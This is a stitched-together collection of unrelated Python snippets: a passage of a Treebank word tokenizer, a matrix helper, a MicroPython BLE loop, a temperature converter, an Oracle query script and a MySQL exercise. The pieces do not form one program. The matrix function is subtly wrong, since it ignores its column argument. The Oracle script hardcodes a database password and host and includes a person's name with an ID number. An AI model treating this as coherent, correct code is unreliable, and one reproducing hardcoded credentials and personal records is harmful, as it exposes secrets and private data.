            re.compile(r'([^\.])(\.)([\]\)}>"\']*)\s*$'),
            r'\1 \2\3 ',
        ),  # Handles the final period.
        (re.compile(r'[?!]'), r' \g<0> '),
        (re.compile(r"([^'])' "), r"\1 ' "),
    ]

    # Pads parentheses
    PARENS_BRACKETS = (re.compile(r'[\]\[\(\)\{\}\<\>]'), r' \g<0> ')

    # Optionally: Convert parentheses, brackets and converts them to PTB symbols.
    CONVERT_PARENTHESES = [
        (re.compile(r'\('), '-LRB-'),
        (re.compile(r'\)'), '-RRB-'),
        (re.compile(r'\['), '-LSB-'),
        (re.compile(r'\]'), '-RSB-'),
        (re.compile(r'\{'), '-LCB-'),
        (re.compile(r'\}'), '-RCB-'),
    ]

    DOUBLE_DASHES = (re.compile(r'--'), r' -- ')

    # ending quotes
    ENDING_QUOTES = [
        (re.compile(u'([»”’]+)', re.U), r' \1 '),
        (re.compile(r'"'), " '' "),
        (re.compile(r'(\S)(\'\')'), r'\1 \2 '),
        (re.compile(r"([^' ])('[sS]|'[mM]|'[dD]|') "), r"\1 \2 "),
        (re.compile(r"([^' ])('ll|'LL|'re|'RE|'ve|'VE|n't|N'T) "), r"\1 \2 "),
    ]

    # List of contractions adapted from Robert MacIntyre's tokenizer.
    _contractions = MacIntyreContractions()
    CONTRACTIONS2 = list(map(re.compile, _contractions.CONTRACTIONS2))
    CONTRACTIONS3 = list(map(re.compile, _contractions.CONTRACTIONS3))

    def tokenize(self, text, convert_parentheses=False, return_str=False):
        for regexp, substitution in self.STARTING_QUOTES:
            text = regexp.sub(substitution, text)

        for regexp, substitution in self.PUNCTUATION:
            text = regexp.sub(substitution, text)

        # Handles parentheses.
        regexp, substitution = self.PARENS_BRACKETS
        text = regexp.sub(substitution, text)
        # Optionally convert parentheses
        if convert_parentheses:
            for regexp, substitution in self.CONVERT_PARENTHESES:
                text = regexp.sub(substitution, text)

        # Handles double dash.
        regexp, substitution = self.DOUBLE_DASHES
        text = regexp.sub(substitution, text)

        # add extra space to make things easier
        text = " " + text + " "

        for regexp, substitution in self.ENDING_QUOTES:
            text = regexp.sub(substitution, text)

        for regexp in self.CONTRACTIONS2:
            text = regexp.sub(r' \1 \2 ', text)
        for regexp in self.CONTRACTIONS3:
            text = regexp.sub(r' \1 \2 ', text)

        # We are not using CONTRACTIONS4 since
        # they are also commented out in the SED scripts
        # for regexp in self._contractions.CONTRACTIONS4:
        #     text = regexp.sub(r' \1 \2 \3 ', text)

        return text if return_str else text.split()

_treebank_word_tokenizer = TreebankWordTokenizer()

def word_tokenize(text, language='english', preserve_line=False):
    sentences = [text] if preserve_line else sent_tokenize(text, language)
    return [token for sent in sentences
            for token in _treebank_word_tokenizer.tokenize(sent)]

__all__ = ['word_tokenize']


def matrix(n=1, m=None, a=0):
    result = list()
    if m is None:
        m = n
    for i in range(n):
        result.append([a] * n)
    return result

rows = matrix(2)
for row in rows:
    print(*row)


import time
import machine
from main import UartBLE

def cada1SegundoEnviar(taximetro, texto, led=True):
    led = machine.Pin(25, machine.Pin.OUT) # LED on the board
    i = 0
    while True:
        taximetro.enviar_dato(dato='{}{}'.format(texto,i),notify=True)
        i+=1
        if led.value() == 0:
            led.value(1)
        else:
            led.value(0)
        if (i > 50):
            i = 0
        time.sleep(1)


# !/usr/bin/env python3
# Created by: Carolyn Webster Pless
# Created on: 2022/11/21
# Gets the user input of a temperature in Celsius then
# Converts it to Fahrenheit. Uses a special function which
# is called.

def convert_to_fahrenheit():
    # Title
    print("Celsius To Fahrenheit!")

    # User input for temperature in Celsius
    celsius = input(("Enter temperature in Celsius: "))

    # Try Catch to make sure the input is a float
    try:
        celsius_float = float(celsius)
    except Exception:
        print("Please enter a number!")
    else:
        # Calculating the temperature in fahrenheit
        fahrenheit = (9 / 5) * celsius_float + 32

        # Displaying the temperature in fahrenheit
        print("The temperature in fahrenheit is {:.2f}!".format(fahrenheit))

# Calling the function convert_to_fahrenheit()
def main():
    convert_to_fahrenheit()

if __name__ == "__main__":
    main()


# -*- coding: utf-8 -*-
"""
Created on Tue Jul 10 16:51:24 2018

@author: sofyan.fadli
"""

import cx_Oracle
import base64

db = cx_Oracle.connect('sofian/sofian@192.168.9.105:1521/orcl')
cur = db.cursor()
cur.arraysize=50

# my_dict = {"nik" : 760447, "no_sim" : 134417} , "no_sim" : 134417
data = {"nama" : "anna solana hamami kadarachman", "no_sim" : None, "nik" : 676799}
new_data = data
for key in list(data):
    if data[key] == None:
        new_data.pop(key, None)

query = "SELECT * FROM data_sim WHERE "
keyword = []
values = []
row = []

# Iterasi key dan value-nya
for key, value in new_data.items():
    keyword.append(key + " = :"+ key)

query = query + " AND ".join(keyword)
print(query)
result = cur.execute(query, new_data)
row = result.fetchone()
img = row[4].read()
print(type(img))
print(img)


#!/usr/bin/python3
"""
Usage: ./0-select_states.py
    <MySQL username>
    <MySQL password>
    <MySQL database>
(all arguments are required, and are
assumed to be there, without any more arguments)

Logs in database in 'localhost' with
the REQUIRED MySQL: 'username', 'password', 'database
name' in the above shell arguments, in port 3306.

Definition:
-----------------------------------
states (
    id INT NOT NULL AUTO_INCREMENT,
    name VARCHAR(256) NOT NULL,
    PRIMARY KEY (id)
)
-----------------------------------

Then, it dispays all the rows from the table 'states'
(hopefully) in the supplied database in the last
shell argument, ordered by the 'id' value.
"""
import MySQLdb

if __name__ == "__main__":
    from sys import argv
    database = MySQLdb.connect("localhost", *argv[1:], 3306)

    with database.cursor() as cursor:
        cursor.execute("SELECT * FROM states ORDER BY id ASC")
        database.commit()
        result = cursor.fetchall()
        if result:
            # an empty result shouldn't print anything,
            # not even a new line.
            print(*result, sep="\n")